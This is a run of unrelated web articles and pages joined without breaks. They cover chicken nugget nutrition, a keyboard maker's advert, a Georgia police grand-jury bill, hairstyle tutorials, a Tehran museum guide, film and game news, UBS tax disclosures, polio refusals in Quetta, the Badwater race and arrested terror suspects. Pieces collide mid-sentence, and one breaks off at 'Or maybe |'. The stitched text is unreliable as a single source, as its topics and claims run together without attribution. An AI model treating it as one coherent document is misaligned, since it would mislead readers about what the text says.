Of course, their analysis doesn’t necessarily apply to the entire vast world of chicken nuggets—they pulled samples from just two chains. But there’s evidence that some widely marketed nuggets may be quite a bit different from straight chicken meat. Chicken breast meat, for example, delivers about 20 percent of its calories as fat (28 fat calories of a total of 141 calories for a full serving) and brings 27.6 grams of protein per 86 gram serving. In dinosaur-shaped “Fun Nuggets,” a supermarket product made by the meat giant Tyson, fully half of the calories come from fat, serving up just 10 grams of protein in a roughly equal serving.
I contacted Tyson to ask about the composition of Fun Nuggets. A company spokesperson referred me to the National Chicken Council, which issued a statement in response to the Mississippi study. “This study evaluates only two chicken nugget samples out of the billions of chicken nuggets that are made every year,” the statement reads. “It is not scientifically justifiable to make inferences about an entire product category given a sample size of two.” It adds:
In making chicken nuggets, our members use quality ingredients and adhere to all food safety laws and regulations to create a product with high quality their customers and consumers expect. Chicken nuggets are an excellent source of protein, especially for kids who might be picky eaters.
The marketing of Fun Nuggets to kids has taken on a new and interesting form. In a recent sponsored post on a site that accepts “cash advertising, sponsorship, free products for review or other forms of compensation,” blogger Sara W. urged parents to pack their kids’ school lunches with Fun Nuggets. Each bag of the product, Sara W. reports, bears a label that can be clipped and “redeemed for $.24 for your school!” Paging Anna Lappé.LEOBOG parent company established in 2002, our factories have passed the ISO9001 international quality management system certification and ISO14001 environment system certification, and own China’s highest standard automated robot production line. It is the only peripheral manufacturer provided the self-developed and produced mechanical keyboard switch in China. It owns workshops including molding, injection molding, oil injection, screen printing, high frequency, welding, assembly, packaging etc. It provides the highest level of quality assurance and manufacturing capacity in the industry. Our products can meet the REACH, RoHS, UL, FCC and other certification standards, with more than 100 technical patents. LEOBOG products are applicable for company’s procurement of office articles and home entertainment, with certain individualized appearances and functions. Our products own multiple globally leading techniques and technologies and the quality is parallel to that of Logitech and Microsoft. With our excellent services and appropriate prices, we are committed to providing the peripheral products with the highest quality and best performance for the global users. * CUSTOMIZED MECHANCAL SWITCHES * 60 MILLION TIMES OF CLICK * ANTI-GHOSTING FOR FULL KEY * COOL COLORFUL AND MIXED KEYBOARD BACKLIGHTS * ALUMINUM CHASSIS * K20 has 9 dynamic backlight modes * FN + INS to switch 9 dynamic modes * FN + up / down to adjust brightness * FN + left / right to adjust speedLegislation that would limit Georgia police officers' ability to influence the outcome of grand jury proceedings gained final approval on Thursday.
House Bill 941 now goes to Gov. Nathan Deal’s desk. The bill aims to curtail some of the most generous legal privileges afforded to officers anywhere in the country. Georgia law currently allows officers accused of possible crimes to sit in the grand jury hearing, listen to all the evidence against them and make a statement at the end that can’t be questioned or challenged by prosecutors.
No other state allows such broad and favorable privileges for officers who appear before a grand jury to face possible charges.
Under HB 941, police officers who face possible charges in a shooting case could offer a statement to grand jurors but would not be allowed to stay in the grand jury room and would face cross-examination.
Critics of the proposal say it doesn’t go far enough to erase a legal double-standard that has allowed Georgia officers to escape prosecution for years. An Atlanta Journal-Constitution/Channel 2 Action News investigation in December identified 171 fatal police shootings of Georgia citizens since 2010 without any officer facing prosecution.6 of the Best Styles for Long or Short 4B/4C Natural Hair — 2015 Edition
Back in 2013, we featured 4 Styles for Long or Short 4B/4C Natural Hair. The article was a big hit with our readers, so we are bringing you a 2015 edition. Natural hairstyles have become more creative and diversified in the past two years, especially for us type 4B/4C ladies.
1. Multiple Goddess Flat Twists
Forget about your usual goddess flat twist. This tutorial features several flat twists for a more updated look. It can be achieved on hair that has been stretched or previously flat ironed.
Description: Multiple flat twists into a modern goddess flat twist.
Tools required: Clip
2. Bantu Flat Out
For those who struggle with the traditional bantu knot out, definitely check out this video tutorial for an alternative. You’ll want to start this process on hair that has been stretched via a blow out or African threading.
Description: Hair is set via small, tight pin curls to achieve the look of a bantu knot out.
Products used: Curls Blueberry Bliss Curl Control Paste
Tools required: Clips, wide‐tooth comb, bobby pin, rattail comb
3. Sponge‐Rolled Curly ‘Fro
Using sponge rollers to roll your hair in a rope‐like fashion, you can achieve this curly afro. The style is perfect for obtaining fun, big hair for a day or two.
Description: Hair is rolled in a rope‐like fashion to achieve a big, curly afro.
Products used: Rosewater, Hollywood Beauty Tea Tree Cholesterol Treatment
Tools required: Sponge rollers
4. Easy Twisted Updo
This twisted updo is super elegant and easy to create on long 4B/4C natural hair. You can wear this style to a formal event, work, or a party.
Description: Three flat twists in the back and jumbo twists in the front to form an updo.
Tools required: Hair tie, bobby pin
5. Bantu Knot Out on TWA
If you have a TWA, the bantu knot out is a great way to spice up your afro. (It is also much easier to achieve on this length of hair than on longer tresses.)
Description: Bantu knot out on TWA using the finger coiling method and a few other tricks.
Products used: Shea Moisture Curl Enhancing Smoothie, Cantu Twist & Lock Gel, Coconut Oil, Jamaican Black Castor Oil
Tools required: Thin‐tooth comb, hair ties
6. Curly Mohawk
This is a super cute, edgy style for short 4B/4C natural hair. It is best to start on hair that has been stretched via a blowout or African threading.
Description: Hair is sectioned and ends are set on perm rods for a curly Mohawk.
Products used: Coconut oil, water, gel
Tools required: Comb (for parting), black hair ties, perm rods
For my 4B/4C ladies, which style(s) will you try?Though neither Iran’s oldest or prettiest city, the bustling metropolis of Tehran is not without its own compelling charm. Home to over 10 million Iranians, the largely concrete skyline is set against the breath-taking backdrop of the Alborz mountains which rise out of the smog below. Often underrated as a tourist destination, nowhere will you sample a flavor of contemporary Iranian life more than Tehran (Read our full essay on this on: Tehran a Divergent Metropolis).
National Museum
National Museum of Iran, aging more than 70 years, containing 300,000 museum objects, is not only the largest museum of History and Archaeology of the country, but ranks as one of the few most prestigious museums of the world in regard to grand volume, diversity and quality of its huge monuments. This modest museum is no Louvre, but it is chock-full of Iran’s rich history. Designed by French architect André Godard and completed in 1928, it’s one of the more attractive modern buildings in Tehran, blending Sassanian principles such as the grand iwan-style entrance with art deco–style brickwork. Inside is a collection including ceramics, pottery, stone figures and carvings, mostly taken from excavations at Persepolis, Ismail Abad (near Qazvin), Shush, Rey and Turang Tappeh. In the Iranian museum tradition it is considered Iran’s mother museum, aiming at preserving relics of the past to hand down to the next generations, enhancing better understanding among world peoples and nations, discovering and showing Iranian’s roles in shaping world culture and civilization and trying to enhance public knowledge.
National Museum info
Visiting hours March 20 – September 21 (First Six month in Hijri Shamsi Calendar) 9 AM- 7 PM
September 22- March 19( Second Six month in Hijri Shamsi Calendar) 9 Am – 5 PM Entrance Fess 20000 Tomans (5 Dollars) as of March 2017
The palace is one of the oldest historic monuments in the city of Tehran, and of world heritage status. It consists of gardens, royal buildings, and collections of Iranian crafts and European presents from the 18th and 19th centuries. The glories and excesses of the Qajar rulers are played out across this complex of grand buildings decorated with beautifully painted tiles and set around an elegant garden that’s worth visiting in its own right. There are separate tickets for nine different sections, which you need to buy at the gate: the ones worth paying extra for are the Main Halls, which includes the spectacular Mirror Hall, and the Negar Khaneh (Iranian Painting Gallery).
Golestan Palace info
Visiting hours March 20 – September 21 (First Six month in Hijri Shamsi Calendar) 9 AM- 7 PM
September 22- March 19( Second Six month in Hijri Shamsi Calendar) 9 Am – 5 PM Entrance Fess 15000Tomans (3.5 Dollars) as of March 2017, and 8000 Tomans for each section, There are 9 sections: 94000 Tomans in total. How to get to Golestan palace Golestan Palace is a few minutes away from Panzdah-e Khordadn and Imam Khomeini metro stations. Hint It takes 2 hours to visit all parts of The place, so make sure to be there at least 2 hours before closing time.
Jewelry Museum
Owned by the Central Bank and accessed through its front doors, the cavernous vault that houses what is commonly known as the ‘Jewels Museum’ is not to be missed. The Safavid, Qajar and Pahlavi monarchs adorned themselves and their belongings with an astounding range of priceless gems and precious metals, making this collection of bling quite literally jaw-dropping. The most dazzling collection of gemstones and jewelry known in the world, is presented there. The Crown Jewels of Iran have been little more than a legend in the past. Travelers marveled at the splendor surrounding the shahs of ancient Persia; but few were permitted to examine it in any detail. Now the most spectacular objects have been placed on public display and form one of the country’s principal tourist attractions.
Jewelry Museum info
Visiting hours Saturday – Tuesday: 14- 16:30 Entrance Fess 20000 Tomans (5 Dollars) as of March 2017 How to get to Jewelry Museum Jewelry Museum is a few minutes away from Ferdowsi And Saadi metro stations Hint It takes 2 hours to visit all parts of The place, so make sure to be there at least 2 hours before closing time.
In a striking concrete modernist building, on the western side of Park-e Laleh, this museum’s impressive collection boasts works by Picasso, Matisse, Van Gogh, Miró, Dalí, Bacon, Pollock, Monet, Munch, Moore and Warhol, among many others. Unfortunately, they are not always on display, but do not be put off, as there are still some interesting exhibitions and events to see here, including films and performance art. The architecture itself is impressive, as are the surrounding sculptures. A swirling walkway leads down to the darkly reflecting oil pool Matter & Mind by Noriyuki Haraguchi and off to the nine major galleries.
Tehran Museum of Contemporary Arts info
Visiting hours Saturday – Thursday: 9- 17:45, Fridays 14-17:45 Entrance Fess 20000 Tomans (5$)- as of March 2017 How to get to Tehran Museum of Contemporary Arts Tehran Museum of Contemporary Arts is a few minutes away from Enqelab sq. and Enqelab Metro station and its inside Laleh park Website http://www.tmoca.com/home/
Containing more than 100 pieces dating from the 17th century to the present, this is a great place to see the full range of regional patterns and styles found in Iran. The permanent collection is downstairs, while upstairs is sometimes open for temporary exhibitions. The museum mixes classic ‘70s style with carpet-inspired function – the exterior concrete lattice is meant to resemble threads on a loom. It’s also functional as it casts cooling shadows on the main walls.
Carpet Museum info
Visiting hours
Saturday – Thursday: 9- 18
Entrance Fess
20000 Tomans (5$)- as of March 2017
How to get to Carpet Museum
Carpet Museum is a few minutes away from Enqelab And Saadi metro stations
Moghadam House-turned-Museum,which is known to be the world’s most expensive when it comes to housing priceless historical objects, is located on Imam Khomeini street near Hasan Abad Square. Beyond the hubbub surroundings of central Tehran, you can find this amazing mansion. As soon as one step inside the entrance vestibule of the house, suddenly the daily mechanical life fades away. The house once belonged to Mohsen Moghadam, the youngest son of Ehtesab-ol-Molk, Tehran’s mayor during Nassereddin Shah’s rule. (Read our full guide on this at: Moghadam Museum Guide)
Moghaddam Museum info
Visiting hours
Saturday – Thursday: 9-16
Entrance Fess
-Tomans (-$)- as of March 2017
How to get to Moghadam Museum
Moghadam Museum is a few minutes away from Hasan Abad metro station
Time Museum founded 17 years ago as the first time museum in Iran. Good collection of time pieces gathered in a beautiful building which used to be a house of a rich carpet merchant. If you like old Iranian architecture, this place will amaze you. There is a nice cafe right in the yard of the museum which is a lovely place to spend spare time with friends. There are also occasional arts exhibitions. (Read our full essay on this on: Time Museum in Tehran):
(Use Valiasr two-way busses, Get off at Bagh-e- Ferdos stop, walk the rest).
Time Museum info
Visiting hours
Saturday – Thursday: 9- 19- Fridays 10-18
Entrance Fess
-Tomans (-$)- as of March 2017
How to get to Time Museum
Take Vali- Asr St. BRT line, Get off at Bagh-e Ferdos Stop, and walk the rest
َAddress
No. 12, Corner of Barzin Baghdadi intersection, Fallahi St., Tehran, Location on google map
The Glass & Ceramics Museum is small but perfectly formed. The galleries walk you chronologically through the ages, with detailed, lucid explanations in English that chart the history of the country and the region through the lovingly displayed glass and ceramics that remain. The late Qajar-era building’s graceful wooden staircase and classical stucco mouldings are particularly delightful, and there are many delicate carvings and decorative flourishes. Built as a private residence for a prominent Persian family, the building once housed the Egyptian embassy.In front of the museum there is Gol Rezaeie cafe which is one of the bests in Tehran.
(Metro Station: Imam Khomeini).
Glassware and Ceramics Museum info
Visiting hours
Whole week except Mondays: 9- 17
Entrance Fess
15000-Tomans (-$)- as of March 2017
How to get to Time Museum
Right at the foothills of Darband, this estate was a summer home to royals since the Qajar dynasty, although it was the Pahlavis that expanded it to the today site. Covering 110 hectares and comprising 18 separate buildings, it will take you a good three to four hours to see everything. Make sure you don’t miss White Palace, built in the 1930s, and the more classical-looking Green Palace dates from the end of the Qajar era. All tickets must be bought at either the front gate near Tajrish or at the northern entrance from Darband; entering from the north makes sense if you’ve previously spent the morning and had lunch in Darband or Tajrish square.
(Metro Station: Tajrish, then grab a shuttle taxi from Jaafari str to Darband square).
Visiting hours
Whole week 8-17
Entrance Fess
Entrance fe is 15000 + 15 other Parts, 8000 Tomans for each part – as of March 2017
How to get to Time Museum
You can come to Saadabad Complex from 2 main doors. Darband Gate:1-By train:Use the subway, line 1 up to the last station (Tajrish Square), there are taxis to Saadabad Complex in Qods square by the subway station and also at Jafari Street in Tajrish Square. 2-By car:Take Darband Street on the north side of Tajrish Square up to Darband Square. Please note that Saadabad Complex has no parking. Zaferanieh Gate: 1-By train: Use the subway, line 1 up to the last station (Tajrish Square), there is no direct taxi to zaferanieh Gate, so use Asef taxies in Maleki Street On the west side of Tajrish and walk for 10 minutes from Taheri Street to saadabad. 2-By car: Go to Valiasr Avenue from Tajrish Square, and then turn right to Shahid Fallahi Street (Zaferanieh). Turn to Shahid Taheri Street at your right side. Please note that Saadabad has no parking but you can find parking in Streets around.
Tips
It will take up 2 hours to see all sections of the complex, Hence Selling tickets usually stops at 15:30 every day. Be there before 15:30.
Located inside the Ferdos Garden, the Cinema Museum of Iran is the place to go for both sightseeing and relaxing; Housed in a beautiful Qajar-era mansion surrounded by a pleasant garden, this interesting museum has well-displayed and explained (in English) exhibits of equipment, photos and posters from Iran’s century-old movie industry. The highlight is a working cinema, Iran’s first, with ornate moulded plaster ceilings. New and classic Iranian films are screened here (usually without subtitles) at 1pm, 3pm, 5pm, 7pm and 9pm daily; get a Farsi-speaker to call to see what’s on. A shop also sells hard-to-find Iranian films on DVD. The museum is a 10-minute walk down Valiasr Ave from Tajrish Sq; look for the broad street with a garden down the middle leading to the museum. The Cinema Museum of Iran was launched in September 1994, aiming to collect, safeguard, record and provide a proper presentation of the Iranian cinematic heritage. There are several coffe shops, Art shops and also a very nice media shop inside the garden of Cinema Museum.
Visiting hours
Sunday- Thursday: 9-17
Entrance Fess
؟؟؟ -Tomans (-$)- as of March 2017
How to get to Cinema Museum
BRT lines at Vali Asr St., A few minutes away from Baghe Ferdos Stop
Malek Museum
: On display at this private museum and library are pieces from the collection of Hadji Hussein Agha Malek, in the 1930s one of the richest men in Iran. The watercolour paintings, delicate calligraphy and decorative arts, including incredibly detailed lacquerware boxes painted by 19th-century masters of the art of the miniature, such as Mohammad Zaman and Abu Taleb Modaresi, are exquisite.
(Metro Station: Imam Khomeini
Niavaran Palace complex:
The complex set in 5 hectares of landscaped gardens and has six separate museums. Tickets must be bought before entering at the main gate. There’s also a pleasant cafe with outdoor seating. Apart from the Niyavaran Palace, you can also explore the Sahebgharanieh Palace, where the shah kept his office; the Ahmad Shahi Pavilion, Reza Pahlavi’s residence when he was crown prince; and the Automobile Museum, which houses a small collection of stately vehicles. Farah Diba’s touch is also evident in a number of the museums, including the art-filled Jahan-Nama Museum & Gallery, and the Imperial Library Museum, once her exclusive domain.
(Metro Station: Tajrish, then get a shuttle taxi to Shahid Bahonar Square).
Book Your Stay at Hi Tehran Hostel Now offers excellent value budget accommodation in a convenient location of Tehran, stay with us and see what a difference a stay makes. You Are Invited! HI Tehran Hostel offers excellent value budget accommodation in a convenient location of Tehran, stay with us and see what a difference a stay makes.
Was this article helpful? Share it with your friends!Because Of COURSE Kylie Minogue Sings The ‘Absolutely Fabulous’ Theme In The Film. Listen Here.
Sweeties, darlings, Bernie bros and bisexuals — are you getting antsy for Patsy and Edina?! Because we are.
But before we can fully revel in our favorite alcoholics’ invasion of the big screen starting July 22 (July 1 in the UK), the people behind Absolutely Fabulous: The Movie are keeping our interest piqued in all the right ways.
Let’s be honest — they had us at the trailer, and even more so when we got a peek at all the cameos to expect. (Hello Joan Collins!)
Now it’s been announced that none other than Kylie Minogue has covered the show’s theme song for the film. Who else could it have been, really?
Just take our money already!
You can listen to the track “This Wheel’s On Fire,” originally written by some unknown named Bob Dylan, below:BERN — US clients of UBS with more than 250,000 Swiss francs (165,641 euros, 248,040 dollars) in assets could have their details turned over to US tax authorities if there is proof of fraud, Swiss authorities said on Tuesday.
For those who have simply not disclosed their accounts, their records would only be provided to US tax authorities if the account held more than one million francs at any time between 2001 and 2008, the Swiss Federal Office of Justice said here.
In addition, Switzerland may also provide details on undeclared accounts that generated more than 100,000 francs every year over a period of three years, it added, publishing details of a deal between Washington and Bern.
UBS, and the US and Swiss governments, in August signed agreements ending months of diplomatically sensitive negotiations over a massive US probe of taxpayers with secret accounts at the world’s largest wealth manager.
Under the out-of-court settlement for a lawsuit, UBS agreed to disclose up to 4,450 names of American clients to US tax authorities.
Current legislation requires UBS to pass these details to the Swiss government, which in turn would decide if they should be transmitted to the United States.
A special team set up by the Swiss authorities received the first 500 clients dossiers from UBS by the end of October.
“Final decisions are being issued on an ongoing basis, meaning that the first can be sent out as early as today,” the justice office added.+ 120 Ballistic Resistance and +15 Energy Resistance. Perception +2
Ballistic Weave compatible
Active Armor-slot for the left arm (to account for the left sleeve of the duster being torn off). This also gives the outfit a nice asymmetrical feel for those who like that.
Dark Sniper Coat (Standalone)This is my first mod, so I'm keeping it simple. This is a re-texture of Macready's duster and cap to be much darker, more like a leather outfit. In addition I've increased the weight to 15lbs and added 120 ballistic and 15 energy resistance to the jacket, and 15 energy resistance to the cap, along with adding +2 Perception. I have added the jacket as a unique item within the game. It can be found on the floor of Backstreet Apparel along with the cap, on the floor in the glass case area. Finally, I made added an armor-slot to the left arm since that sleeve has been torn off the duster.I used the CK to create it, and have tested it with a lot of mods, so there shouldn't be any compatibility issues. I made this mod in order to start learning how to mod FO4, and I definitely learned a lot. Of course being my first mod any and all feedback is welcome!Features:Installation:Use the NMM or extract to your data folder.Known Issues:NoneCredits:NukaMage for his simple tutorial: https://www.youtube.com/watch?v=Z1JeCIAK568Redditor QuietusPlus for the solid feedback.All the modders out there making amazing stuff and inspiring me to learn how.Software Used:GE/CKGimpNifScopeMaterial EditorParadox’s internal development studio, responsible for Crusader Kings, Europa Universalis, Victoria and Hearts of Iron, is deep into development on a space strategy game. We’ve already seen it, and picked the brains of CK II maestro and project lead Henrik Fåhraeus and EU IV designer Tomas Johansson about this giant leap for the studio. The project, which the company announced at their Gamescom fan gathering moments ago, goes by the name Stellaris and it’s shaping up to be one of the most exciting games in recent years.
Below, you’ll find everything we know, including how randomised alien species will ensure that each new galaxy is mysterious, and why the commitment to an intelligent and subversive end-game could make this one of the smartest interpretations of 4X strategy ever made.
The finest summary of Stellaris’ aims came mid-way through the half hour presentation and discussion in which Fåhraeus and Johansson unveiled the game. “We’re not creating one specific universe. It can be any sci-fi universe.” Johannson was referring to the way in which the procedural galaxies are more than a collection of planets and stars. By the late game you might find that one of your science ships has become the Event Horizon, ripping a hole in reality to a dimension of horrors. Before you know it, you’re scrabbling to militarise in order to survive a fight against invaders from beyond and you’ve accidentally fallen into Warhammer 40K.
Or maybe |
monster, he sends Igor to fetch a very special brain which rests in a jar labeled “Hans Delbruck: Scientist and Saint”. The actual Hans Delbrück (1848-1929) was an accomplished military historian whose son, Max, won a Nobel Prize for his work with viruses.
6. Several Props Had Previously Appeared in the Masterful 1931 Frankenstein Film
Taking his feature-length tribute to the next level, Brooks included much of the faux lab equipment used in that earlier picture.
7. Teri Garr Based Her Character’s Voice on Cher’s Hairdresser
Garr made several appearances on The Sonny and Cher Comedy Hour and used Cher's German wig-stylist as a model for ditzy lab assistant Inga’s heavy accent.
8. Brooks Hired Kenneth Mars After the Actor Signed Off on an Odd Costuming Choice
The two had already collaborated in 1968’s The Producers, and while casting Young Frankenstein, Brooks offered Mars the role of grumpy Inspector Kemp, but not before pitching an eccentric wardrobe gimmick that ultimately wound up on-screen.
“He [said],” Mars later reminisced, “‘Let me ask you this… if you’re wearing an eye patch and you’ve got a monocle on top of the eye patch, is that too much?’ I said ‘Of course not.’ He said ‘Good, you’re hired!’”
9. Gene Hackman Specifically Asked Wilder for a Part in Young Frankenstein Because he “Wanted to Try Comedy”
According to the movie’s Blu-Ray commentary, Hackman—who’d been thrice nominated for an Academy Award (and won one in 1971)—learned about Young Frankenstein through his frequent tennis partner Wilder and requested a role. Ultimately, ‘Harold’—the lonely blind character he briefly portrayed—sparked one of the most memorable sequences in comedic history.
10. Peter Boyle Had to Wear a Special Pad Over His Crotch to Avoid Getting Scalded During the Famous Blind Man Scene
During their hysterical encounter, sightless Harold winds up accidentally dumping a bowlful of hot soup onto the poor creature’s lap. Fortunately, Boyle’s protective gear kept him from having to method act his way through the ordeal.
11. A Huge Percentage of the Movie Had to Be Deleted
“For every joke that worked, there were three that fell flat,” says Brooks, who whittled Young Frankenstein down to its current runtime after observing several mixed reactions from test audiences. This cut material included a clip in which Frederick’s relatives listen to a recorded will left by his great grandfather Beauvort von Frankenstein whose message starts skipping and nonchalantly repeats the phrase “Up Yours!”
In addition, the “Puttin’ on the Ritz” number was nearly axed as well. Brooks reportedly felt that having Dr. Frankenstein and his monster tap dance to an old Irving Berlin song seemed “too crazy.” Hearing this, Wilder—who though it brilliant—snapped and came “close to rage and tears” before Brooks unexpectedly changed his tune. “I wanted to see how hard you'd fight for it,” said the director, “And I knew if you fought hard enough, it was right...You did, so it's in.”
12. Wilder was Constantly Cracking Up During Takes
According to Cloris Leachman, “He killed every take [with his laughter] and nothing was done about it!” Shots would frequently have to be repeated as many as fifteen times before Wilder could finally summon a straight face.
But, to be fair, he certainly wasn’t the only one who couldn't always keep it together.
Young Frankenstein sees Marty Feldman’s comic genius on full display, which was often more than his castmates could handle. For example, the scene where Frederick’s fiancée Elizabeth (Madeline Kahn) greets him at the castle generated a lengthy gag reel because Feldman—whose character starts ravenously gnawing on her mink scarf—kept everyone in stitches with his manic over-acting.
13. Brooks’ Blazing Saddles and Young Frankenstein were the 1st and 3rd highest-grossing films of 1974, respectively
“It’s good to be the king!” Before this pivotal year, the funnyman’s earlier efforts—The Producers and The Twelve Chairs (1970)—netted mixed reviews and had lackluster box office performances. But after turning out these back-to-back hits at breakneck speed, Brooks’ reputation as one of Hollywood’s greatest comedic directors was secured.
14. Leachman Was Asked to Reprise Her Role for the 'Young Frankenstein' Musical
After getting eliminated from ABC’s Dancing with the Stars, Brooks offered the 82-year-old actress a chance to take a second stab at playing Frau Blücher for his on-stage Young Frankenstein musical, but the show’s run ended before her schedule freed up.
15. Throughout the Shoot, Brooks Offered Wilder Directing Advice
Knowing his star dreamed of one day sitting in the director’s chair, Brooks made a point to give him as many pointers as possible before shooting concluded. Wilder reminisced, “Mel would say, ‘Do you know the trouble I’m in because I didn’t shoot that close-up? Don’t do that.’ I would say, ‘To whom are you talking?’ ‘You, when you’re directing.’”
Though both headed various productions after Young Frankenstein, they’d never collaborate on another flick. Nevertheless, the pair’s shared legacy is unimpeachable. All three of Brooks’ movies in which Wilder appeared—The Producers, Blazing Saddles, and Young Frankenstein—have been selected for preservation by the National Film Registry and included on the American Film Institute’s “100 Funniest Movies of All Time” list.QUETTA: More than 4,000 parents have refused to administer polio drops to their children in the Quetta block that comprises of the Quetta, Pishin and Killa Abdullah districts of northern Balochistan, Coordinator Balochistan Emergency Cell Dr Syed Saifur Rehman told DawnNews.
This year, at least four polio cases were reported from Balochistan, three of which came from the Quetta block. Officials termed parents' refusal to administer polio drops as the underlying cause behind the aforementioned cases.
Lately, polio volunteers have faced difficulties in administering the vaccine to children in various parts of the Quetta block as a number of parents have been resisting the campaign.
Most refusals have been reported from the outskirts of Quetta. These areas include Pashtoonabad, Kharotabad, Nawan Killi and others that mostly house Afghan refugees.
"We have traced out the refusal cases and are trying to convince the parents," Dr Rehman said.
The Balochistan government has formed refusal coverage committees to cajole the parents into allowing polio vaccines to be administered to children below the age of five years. The deputy commissioner will head the committees and religious scholars will be appointed as members of the committees to persuade parents to not resist polio vaccination for their children.
Also read: Balochistan govt to make refusal against polio vaccine 'a crime'
According to officials, more than 50 per cent of polio cases are occurring because of parents' refusals in the province. Meanwhile, lack of commitment, negligence on part of concerned quarters and attacks targeting polio workers are among reasons that have contributed to the re-emergence of polio in Balochistan.
"No polio case would be tolerated in any part of Balochistan," Dr Rehman said.
Secretary Health Balochistan Noorul Haq Baloch has taken serious notice of recent polio cases in Quetta's Pashtoonabad area and has ordered departmental action against the district health officer along with issuance of show-cause notices to other officials.
The provincial government has decided to approach every individual parent resisting the vaccination campaign to try and convince them with regard to the crippling disease. Government officials as well as religious scholars, all would play their role in the eradication of polio virus, Dr Rehman said.
He further said that up until now, a large number of parents have been persuaded by volunteers, religious scholars and other officials.
"Refusal cases are on the decline," he added.
The federal government, the United Nations Children's Fund (Unicef), the World Health Organisation (WHO) and other bodies have taken serious notice of parents' vaccination refusals in Quetta's Pashtoonabad area and the provincial government has directed polio teams to double their efforts to ensure provision of vaccination drops to all children.iPad Mini Design “Could Outshine the New iPad”
More grist for the rumor mill ahead of the so-called iPad mini’s expected debut later this month.
Chatter from Apple’s overseas supply chain indicates that the company has not been cutting corners in its efforts to keep the iPad’s diminutive sibling price-competitive with what will surely be its two greatest rivals in the seven-inch tablet space, Google’s Nexus 7 and Amazon’s Kindle Fire. Apple’s “we just want to make great products” ethos will be as evident in the iPad mini as it is in all the company’s hardware.
Topeka analyst Brian White, who’s been travelling around Taipei talking to component suppliers, says the mini — or whatever Apple chooses to call it — may even be slicker than the new iPad.
“Apple did not skimp on the aesthetics of the much anticipated ‘iPad Mini,'” White says. “In fact, we believe the ‘iPad Mini’ could outshine the new iPad in terms of how the device feels in a consumer’s hands.”
Not much to go on, I realize. But White’s supply chain sources have been solid in the past, and here at AllThingsD we too have been hearing promising things about the iPad mini’s design, which sources say demands a lot of the companies manufacturing it. This is something White has been hearing, as well, and he thinks it could make the device hard to come by initially. “The new ‘iPad Mini’ is more challenging to produce than prior iPad iterations,” he says. “We believe supply will initially be constrained.”
And in another dispatch from the supply chain, The Wall Street Journal reports that some of Apple’s Asian component partners say they have received orders to make more than 10 million units of the smaller tablets in the fourth quarter, roughly double the number of Kindle Fire’s ordered for the quarter.
(Image courtesy of Martin Hajek)One of the world's toughest races, the Badwater 135 Ultramarathon, returns to its namesake location next year in Death Valley National Park after federal park officials barred it in 2014 over safety concerns.
The race is named for Badwater Basin which, at 282 feet below sea level, is the lowest point in the Continental United States. It's also famous for recording the hottest temperature on earth. So of course, that's where adventure-seeking ultrarunners go in mid-July to test themselves in temperatures that can exceed 120 degrees.
The biggest change in the new rulebook requires the race to begin after sunset under a full moon. That shift in starting times will give most runners about 50 miles of cooler overnight temperatures as they run through the moonlit Death Valley National Park.
"It's still going to be hot," said race director Chris Kostman. "Even in the middle of the night it's 90 degrees in Death Valley in the summertime."
The race was first run in 1977 and has been held annually since 1987. Through 1995, the race began after sundown, so reverting to the later start isn't such a break with tradition, Kostman said.
In recent years the 100 athletes allowed into the invitational race would start in waves during the day, so most of their run through Death Valley was in full blazing sunlight on asphalt whose radiant heat could melt shoes and blister feet.
The race goes over two mountains and ends at Mt. Whitney Portal, near the highest point in the Continental U.S. Runners climb about 13,000 feet over the 135 mile race, finishing in about 24 to 48 hours.
In October 2013, Death Valley National Park officials withheld permits for the 2014 edition of Badwater and other endurance races until they wrote new safety rules.
The Park Service wanted the new rules out of concern for the safety of runners and Park Service workers. Its report on the new rules said the park seemed to be giving visitors a mixed message by telling tourists not to exert themselves during the highest summer temperatures, yet permitting the Badwater 135 Ultramarathon to take place.
Kostman said that Badwater runners are among the best-trained for the hot and rugged conditions and that no runners have died or been seriously injured in the race.
The National Park Service had little data on injuries during endurance events, it said in its safety recommendations document. It said race organizers were not reporting injuries and accidents to park officials as the permits required, even though photos from various events (Badwater and others) made it clear that injuries had occurred.
The new rules do not permit extreme sporting events in temperatures over 110 degrees, or at night unless there is a full moon to make the terrain more visible, said Cheryl Chipman, a National Park Service spokeswoman.
Other concerns were for the athletes' support crews and vehicles negotiating around each other, the runners and Death Valley tourists on the two-lane roads that had blind curves and sudden drop-offs. The new rules cut the number of support crew members to four from six and allow just a single support vehicle per runner rather than two, Chipman said.
"We're happy to host the event again, and hope it will be safe for everyone," Chipman said.
Cincinnati ultramarathoner Harvey Lewis won last July's race in just under 24 hours on an alternate course outside the park that was cooler but included more mountain running. He wants to defend his title on the traditional Death Valley course, which he has run three times before.
"It represents the most challenging elements that the human body has the opportunity to endure," Lewis said. "I was quite happy to see it return to its rightful home."
The race is set for July 28.Two Afghan migrants are suspected of planning terror attacks in Britain
Two Afghan migrants suspected of planning terror attacks in Britain are on the run after police smashed a cell linked to Islamic State.
Surgul Ahmadzai, 28, is accused of scouting for targets in London before flying to Paris to meet Qari Khesta Mir Ahmadzai, 30, and on to Rome.
Three other members of their five-strong cell were arrested in Italy after pictures of suspected targets were discovered on their mobile phones.
Hakim Nasri, pictured holding what is believed to be a MS16 semi automatic rifle, who has been arrested by police and held on suspicion of international terrorism
This graphic shows suspected targets in Britain including several in east London's Docklands, a hotel at West India Quay, the luxury Sunborn yacht hotel in Royal Victoria Dock and an Ibis hotel nearby
These included London hotels, restaurants, a footbridge in Canary Wharf and the Emirates Air Line cable car over the Thames.
One of the hotels photographed was the Premier Inn at the busy Westfield shopping centre in Stratford, east London, around 200 yards from the Olympic Park.
It is suspected the cell was planning to exploit migrant routes into Europe and slip terrorists into the UK through Calais.
Another one of the alleged plotters, Hakim Nasiri, was described as a 'human bomb' after he was arrested on suspicion of international terrorism.
A picture of the 23-year-old Afghan posing with an MS16 semi-automatic rifle in a supermarket was among evidence seized by police.
There were reports that one of the terror cell's members had hunted for an assault rifle in Britain for another suspect. Nasiri was apprehended at an Italian refugee centre.
He had been granted provisional political asylum on May 5, despite the fact that undercover detectives posing as refugees inside the camp had been trailing him since December.
Also arrested were Afghan Gulistan Ahmadzai, 29, and Pakistani Zulfiqar Amjad, 24, both of whom are suspected of aiding illegal immigration.
The pair still on the run are believed to have fled to Kabul in Afghanistan, after slipping through the net following their European trip in December.
They were able to visit seven cities in nine days paying budget airline fares in cash.
Nasri, pictured again with the weapon, was arrested with Gulistan Ahmadzai and they were detained in relation to an investigation into plans to stage terror attacks in Rome and London
It is understood all five suspects had been granted refugee status in Italy, meaning they would have been able to take advantage of Europe's open borders to move freely around the continent.
